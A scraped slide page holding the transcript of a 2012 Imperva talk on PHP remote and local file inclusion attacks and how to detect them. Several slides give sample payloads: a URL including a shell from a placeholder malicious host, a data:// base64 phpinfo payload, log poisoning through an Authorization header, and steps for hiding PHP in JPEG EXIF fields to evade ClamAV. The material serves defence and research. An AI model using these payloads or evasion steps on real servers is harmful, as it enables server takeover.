Beyond takeover: stories from a hacked account
 
Research: From zero to phishing in 60 seconds
Research: From zero to phishing in 60 seconds Research: From zero to phishing in 60 seconds
Research: From zero to phishing in 60 seconds
 
Making Sense of Web Attacks: From Alerts to Narratives
Making Sense of Web Attacks: From Alerts to NarrativesMaking Sense of Web Attacks: From Alerts to Narratives
Making Sense of Web Attacks: From Alerts to Narratives
 
How We Blocked a 650Gb DDoS Attack Over Lunch
How We Blocked a 650Gb DDoS Attack Over LunchHow We Blocked a 650Gb DDoS Attack Over Lunch
How We Blocked a 650Gb DDoS Attack Over Lunch
 
Survey: Insider Threats and Cyber Security
Survey: Insider Threats and Cyber SecuritySurvey: Insider Threats and Cyber Security
Survey: Insider Threats and Cyber Security
 
Companies Aware, but Not Prepared for GDPR
Companies Aware, but Not Prepared for GDPRCompanies Aware, but Not Prepared for GDPR
Companies Aware, but Not Prepared for GDPR
 
Rise of Ransomware
Rise of Ransomware Rise of Ransomware
Rise of Ransomware
 
7 Tips to Protect Your Data from Contractors and Privileged Vendors
7 Tips to Protect Your Data from Contractors and Privileged Vendors7 Tips to Protect Your Data from Contractors and Privileged Vendors
7 Tips to Protect Your Data from Contractors and Privileged Vendors
 
SEO Botnet Sophistication
SEO Botnet SophisticationSEO Botnet Sophistication
SEO Botnet Sophistication
 
Phishing Made Easy
Phishing Made EasyPhishing Made Easy
Phishing Made Easy
 
Imperva 2017 Cyber Threat Defense Report
Imperva 2017 Cyber Threat Defense ReportImperva 2017 Cyber Threat Defense Report
Imperva 2017 Cyber Threat Defense Report
 
Combat Payment Card Attacks with WAF and Threat Intelligence
Combat Payment Card Attacks with WAF and Threat IntelligenceCombat Payment Card Attacks with WAF and Threat Intelligence
Combat Payment Card Attacks with WAF and Threat Intelligence
 
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing Exponentially
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing ExponentiallyHTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing Exponentially
HTTP/2: Faster Doesn't Mean Safer, Attack Surface Growing Exponentially
 
Get Going With Your GDPR Plan
Get Going With Your GDPR PlanGet Going With Your GDPR Plan
Get Going With Your GDPR Plan
 
Cyber Criminal's Path To Your Data
Cyber Criminal's Path To Your DataCyber Criminal's Path To Your Data
Cyber Criminal's Path To Your Data
 
Combat Today's Threats With A Single Platform For App and Data Security
Combat Today's Threats With A Single Platform For App and Data SecurityCombat Today's Threats With A Single Platform For App and Data Security
Combat Today's Threats With A Single Platform For App and Data Security
 
Hacking HTTP/2 : New attacks on the Internet’s Next Generation Foundation
Hacking HTTP/2: New attacks on the Internet’s Next Generation FoundationHacking HTTP/2: New attacks on the Internet’s Next Generation Foundation
Hacking HTTP/2 : New attacks on the Internet’s Next Generation Foundation
 

Dernier

GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 

Dernier (20)

GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 

How to Prevent RFI and LFI Attacks

  • 1. How to Prevent Remote & Local File Inclusion Attacks Tal Be’ery Web Security Research Team Leader, Imperva
  • 2. Tal Be’ery, CISSP  Web Security Research Team Leader at Imperva  Holds MSc & BSc degree in CS/EE from TAU  10+ experience in the IS domain  Facebook “white hat”  Speaker at RSA, BlackHat, AusCERT © 2012 Imperva, Inc. All rights reserved.
  • 3. Contents  PHP Background and Internals  RFI Insight + Analysis of TimThumb shell “caught in the wild” + Advanced RFI using PHP streams and Wrappers  LFI Insight + Innovative method for editing file content to embed PHP code and evade AV detection + Novel detection method  RFI and LFI in the Wild + New detection method using community based reputation data  Questions and Answers 3 © 2012 Imperva, Inc. All rights reserved.
  • 4. RFI, LFI - Under the Radar  PHP is everywhere  Exploiting PHP’s include vulnerabilities with RFI LFI attacks leads to full server takeover  Hackers are actively attacking organizations + TimThumb exploit reportedly compromised 1.2 million pages  And yet.. + OWASP Top 10 in 2007 (#3) + Dropped in 2010 © 2012 Imperva, Inc. All rights reserved.
  • 5. Breadth and Depth of PHP  The most popular server-side programming language in the world! © 2012 Imperva, Inc. All rights reserved.
  • 6. Breadth and Depth of PHP  Popular Web applications are powered by PHP © 2012 Imperva, Inc. All rights reserved.
  • 7. PHP Internals - Parser HTML Mode  PHP’s parser starts on HTML mode  Ignores everything until it hits a PHP's opening tag + typically “<?php”, but also “<?”  PHP code is now parsed and compiled  When parser hits a closing tag (“?>”), it drops back to HTML mode  Allows “mixed” coding © 2012 Imperva, Inc. All rights reserved.
  • 8. PHP Internals - PHP Execution Steps Parsing • Code is converted into tokens (Lexing)… • Tokens are processed into meaningful expressions (Parsing). Compiling • Derived expressions are converted into OpCodes. Execution • OpCodes are executed by the PHP engine. 8 © 2012 Imperva, Inc. All rights reserved.
  • 9. PHP Internals - Disassembling with VLD Extension PHP Dumps the Extension Code is Vulcan Logic OpCodes of • http://pecl.php.net/ compiled but Disassembler complied package/vld not executed • Maintainers - Derick PHP scripts Rethans (lead) 9 © 2012 Imperva, Inc. All rights reserved.
  • 10. PHP Internals - VLD Analysis Demo Compile © 2012 Imperva, Inc. All rights reserved.
  • 11. PHP internals - Include()  The include() statement includes and evaluates the specified file  Used to share code by reference  PHP Version >=4.3 + Remote files (http://) are valid include targets  The parser drops to HTML mode at the beginning of the included file © 2012 Imperva, Inc. All rights reserved.
  • 12. And You Thought Eval() is Evil…  Meet Eval()’s hungry sister – include()  Not only does she evaluate arbitrary code  She eats everything before code + HTML mode - Code can be prepended with anything (including binary content)  She loves dining out + Code can reside outside of the application © 2012 Imperva, Inc. All rights reserved.
  • 13. RFI Exploitation  Simple vulnerable app for warm up  Exploit: + http://www.vulnerable.com/test.php?file=http://www.malicious. com/shell.txt © 2012 Imperva, Inc. All rights reserved.
  • 14. RFI in the Wild 14 © 2012 Imperva, Inc. All rights reserved.
  • 15. Hacker Intel – Observations in the Wild  Hackers Intelligence Initiative (HII) + Initiated in 2010 + Goes deep inside the cyber-underground and provides analysis of trending hacking techniques and attack campaigns in real time + Includes honey pots consisting of 40 Web applications + Analyzes security logs © 2012 Imperva, Inc. All rights reserved.
  • 16. RFI in the Wild - TimThumb  TimThumb - + A WordPress extension to produce thumbnails of images + Vulnerable to RFI + 1.2 million exploited pages © 2012 Imperva, Inc. All rights reserved.
  • 17. TimThumb Exploit Analysis  Shell host - picasa.com.moveissantafe.com + Evaded TimThumb filter that allowed inclusion only from limited set of hosts + The implemented host check mistakenly allowed “picasa.com.moveissantafe.com” to pass as “picasa.com”  Started with a GIF file identifier, but then switched to encoded PHP + Evaded another TimThumb security filter used to verify that the file was indeed a valid picture © 2012 Imperva, Inc. All rights reserved.
  • 18. TimThumb Exploit Analysis, Continued  Execution was controlled with additional HTTP parameters + LOL and OSC © 2012 Imperva, Inc. All rights reserved.
  • 19. TimThumb Exploit Analysis, Continued  Execution was controlled with additional HTTP parameters + LOL and OSC © 2012 Imperva, Inc. All rights reserved.
  • 20. TimThumb Exploit Analysis, Continued  Execution was controlled with additional HTTP parameters + LOL and OSC © 2012 Imperva, Inc. All rights reserved.
  • 21. TimThumb Exploit Analysis, Continued  Execution was controlled with additional HTTP parameters + LOL and OSC © 2012 Imperva, Inc. All rights reserved.
  • 22. Advanced RFI with PHP Streams 22 © 2012 Imperva, Inc. All rights reserved.
  • 23. Advanced RFI with PHP Streams  Streams are a way of generalizing file, network, data compression, and other operations  Examples: + Accessing HTTP(s) URLs - http:// https:// + Accessing FTP(s) URLs - ftp:// ftps:// + Data ( RFC 2397) - data:// + Accessing local filesystem - file:// + Accessing various I/O streams - php:// + Compression Streams - zlib:// , bzip2:// , zip:// © 2012 Imperva, Inc. All rights reserved.
  • 24. RFI PHP Streams  Hacker’s objective + Run the following code <?php phpinfo(); ?> on RFI vulnerable app  Degree of difficulty + No shell hosting is allowed  Means + Bare hands © 2012 Imperva, Inc. All rights reserved.
  • 25. RFI PHP Streams - Attack Example  base64(“<?php phpinfo()?>”) = "PD9waHAgcGhwaW5mbygpPz4="  Wrapped in data wrapper: + "data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=" © 2012 Imperva, Inc. All rights reserved.
  • 26. RFI PHP Streams - Attack Example, Continued © 2012 Imperva, Inc. All rights reserved.
  • 27. RFI PHP Streams - Attack Example, Continued Mission Accomplished! © 2012 Imperva, Inc. All rights reserved.
  • 28. PHP Streams - Why Hackers Use Them  To evade security filters + Many filters look only for exploits with the standard protocols  To hide attack source + Shell URL obfuscation (compressed, base64)  To compromise without a hosted shell + Using data wrapper © 2012 Imperva, Inc. All rights reserved.
  • 29. Local File Inclusion 29 © 2012 Imperva, Inc. All rights reserved.
  • 30. LFI - Why Hackers Use It  LFI – malicious code must be stored locally  Extra work – why bother?  Because RFI is disabled by default + PHP version 5.2: allow_url_include = off + ~ 90% PHP deployments versions >=5.2 © 2012 Imperva, Inc. All rights reserved.
  • 31. LFI - How to be Local  Abuse existing file write functionality within the server – log files  Abuse file upload functionality to embed malicious code within the uploaded file  Let’s demo it… © 2012 Imperva, Inc. All rights reserved.
  • 32. LFI - Attacking Logs  Hacker’s objective + Run the following code <?php phpinfo(); ?>  Degree of difficulty + allow_url_include = off, code must be local  Means + Proxy (or any other way to edit HTTP headers) © 2012 Imperva, Inc. All rights reserved.
  • 33. LFI - Attacking Logs Example Authorization: Basic base64(user:pass) = Authorization: Basic base64(<?php phpinfo()?>:123456) = Authorization: Basic PD9waHAgcGhwaW5mbygpPz46MTIzNTY=) © 2012 Imperva, Inc. All rights reserved.
  • 34. LFI - Attacking Logs Example, Continued © 2012 Imperva, Inc. All rights reserved.
  • 35. LFI - Attacking Logs Example, Continued Mission Accomplished! © 2012 Imperva, Inc. All rights reserved.
  • 36. LFI - Abusing Upload  Hacker’s objective + Upload a picture with known malicious code to create LFI  Degree of difficulty + Picture appearance must not change + AV must not detect the code  Means + Bare hands © 2012 Imperva, Inc. All rights reserved.
  • 37. LFI – Abusing Upload Example Initial PHP Code  <?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>  Prints FeeLCoMz twice  Found in the wild  Detected by AVs © 2012 Imperva, Inc. All rights reserved.
  • 38. LFI – Abusing Upload Example Embedding Code in Picture, Phase I  Picture – jpg format  Editing EXIF properties © 2012 Imperva, Inc. All rights reserved.
  • 39. LFI – Abusing Upload Example Embedding Code in Picture, Phase I  Picture – jpg format  Editing EXIF properties Better… But not good enough! © 2012 Imperva, Inc. All rights reserved.
  • 40. LFI – Abusing Upload Example Embedding Code in Picture, Phase II  Let’s split the vector across two adjacent properties © 2012 Imperva, Inc. All rights reserved.
  • 41. LFI – Abusing Upload Example Embedding Code in Picture, Phase II  Let’s split the vector across two adjacent properties Better… But not good enough! © 2012 Imperva, Inc. All rights reserved.
  • 42. LFI – Abusing Upload Example Embedding Code in Picture, Phase III  Now it gets personal  ClamAV signature PHP.Hide- 1 :0:0:ffd8ffe0?0104a464946{- 4000}3c3f706870(0d|20|0a)  3c3f706870 is hex for <?php.  Maybe changing the case will work… © 2012 Imperva, Inc. All rights reserved.
  • 43. LFI – Abusing Upload Example, Recap  Hacker’s objective + Upload a picture with known malicious code to create LFI  Degree of difficulty + Picture appearance must not change + AV must not detect the code © 2012 Imperva, Inc. All rights reserved.
  • 44. LFI – Abusing Upload Example, Recap  Hacker’s objective + Upload a picture with known malicious code to create LFI  Degree of difficulty + Picture appearance must not change + AV must not detect the code © 2012 Imperva, Inc. All rights reserved.
  • 45. LFI – Abusing Upload Example, Recap  Hacker’s objective + Upload a picture with known malicious code to create LFI  Degree of difficulty + Picture appearance must not change + AV must not detect the Accomplished! Mission code © 2012 Imperva, Inc. All rights reserved.
  • 46. LFI – Abusing Upload - Why AV Fails  General purpose AVs search only for malicious code. + In the context of LFI exploit detection we are OK with detecting files containing any PHP code.  General purpose AVs are built to find compiled malicious code. + Finding malicious source code requires a different set of features and awareness to text related evasions. © 2012 Imperva, Inc. All rights reserved.
  • 47. LFI - Abusive File Upload Misdetection  Anti Virus - we just witnessed how they fail at this task  Degenerated PHP parser - Looks only for PHP begin/end tokens. + Looks for short tags (<?.*?>) - many false positives  Compile the uploaded file and check if it compiles + Even benign documents are (trivially) compiled  Run the file and see if it executes – hmm…  © 2012 Imperva, Inc. All rights reserved.
  • 48. LFI - Abusive Upload File Detection  VLD it! + Compile the file with VLD + Inspect the OpCodes + No execution  A non-PHP code bearing files will yield only two OpCodes + ECHO – to print the non PHP code + RETURN – to return after the “execution” © 2012 Imperva, Inc. All rights reserved.
  • 49. LFI - Abusive File Detection with VLD Demo © 2012 Imperva, Inc. All rights reserved.
  • 50. RFI, LFI in the Wild 50 © 2012 Imperva, Inc. All rights reserved.
  • 51. RFI, LFI in the Wild  Very relevant + 20% of all Web application attacks  LFI is more prevalent than RFI + 90% of PHP deployments are of versions that do not allow RFI by default © 2012 Imperva, Inc. All rights reserved.
  • 52. RFI in the Wild - Sources Analysis  Highly automated  Consistent attackers © 2012 Imperva, Inc. All rights reserved.
  • 53. RFI in the Wild - Sources Analysis  Many sources attack more than one target © 2012 Imperva, Inc. All rights reserved.
  • 54. RFI in the Wild - Shell Hosting URLs Analysis Obtaining shell hosting URLs:btaining shell hosting URLs: 1. Analyze Honey pot’s RFI Security Log entry http://www.vulnerable.com/test.php?file=http://www. malicious.com/shell.txt 2. Download the shell - wget http://www.malicious.com/shell.txt 3. Verify it’s a script – to refrain from false positives © 2012 Imperva, Inc. All rights reserved.
  • 55. RFI in the Wild - Shell Hosting URLs Analysis  Some URLs are being used consistently © 2012 Imperva, Inc. All rights reserved.
  • 56. RFI in the Wild - Shell Hosting URLs Analysis  Many shell URLs are used against more than one target © 2012 Imperva, Inc. All rights reserved.
  • 57. A New Approach - Community Based RFI Black Lists  Attack characteristics (source, Shell URL) + Non transient – stable for days + General - not confined to a single honey pot  By forming a community that shares RFI data we can create black lists + Attack sources + Attackers’ shell hosting URLs  Achieve better protection! © 2012 Imperva, Inc. All rights reserved.
  • 58. Additional Resources 58 © 2012 Imperva, Inc. All rights reserved.
  • 59. Hacker Intelligence Initiative  Subscribe to Imperva’s Hacker Intelligence Initiative (HII): + Sign up to stay informed on all the latest attacks and hacking techniques  Download HII RFI Resources: + Report: Remote File Inclusion (RFI) Vulnerabilities 101 + Infographic: Exploiting RFI Attacks 101 59 © 2012 Imperva, Inc. All rights reserved.
  • 60. Presentation Materials Join Imperva’s LinkedIn Group Data Security Direct for… Post- Answers to Presentation Attendee Discussions Questions Link to Link to Presentation Presentation Audio Slides http://www.linkedin.com/groups/Imperva-Data-Security-Direct-3849609 © 2012 Imperva, Inc. All rights reserved.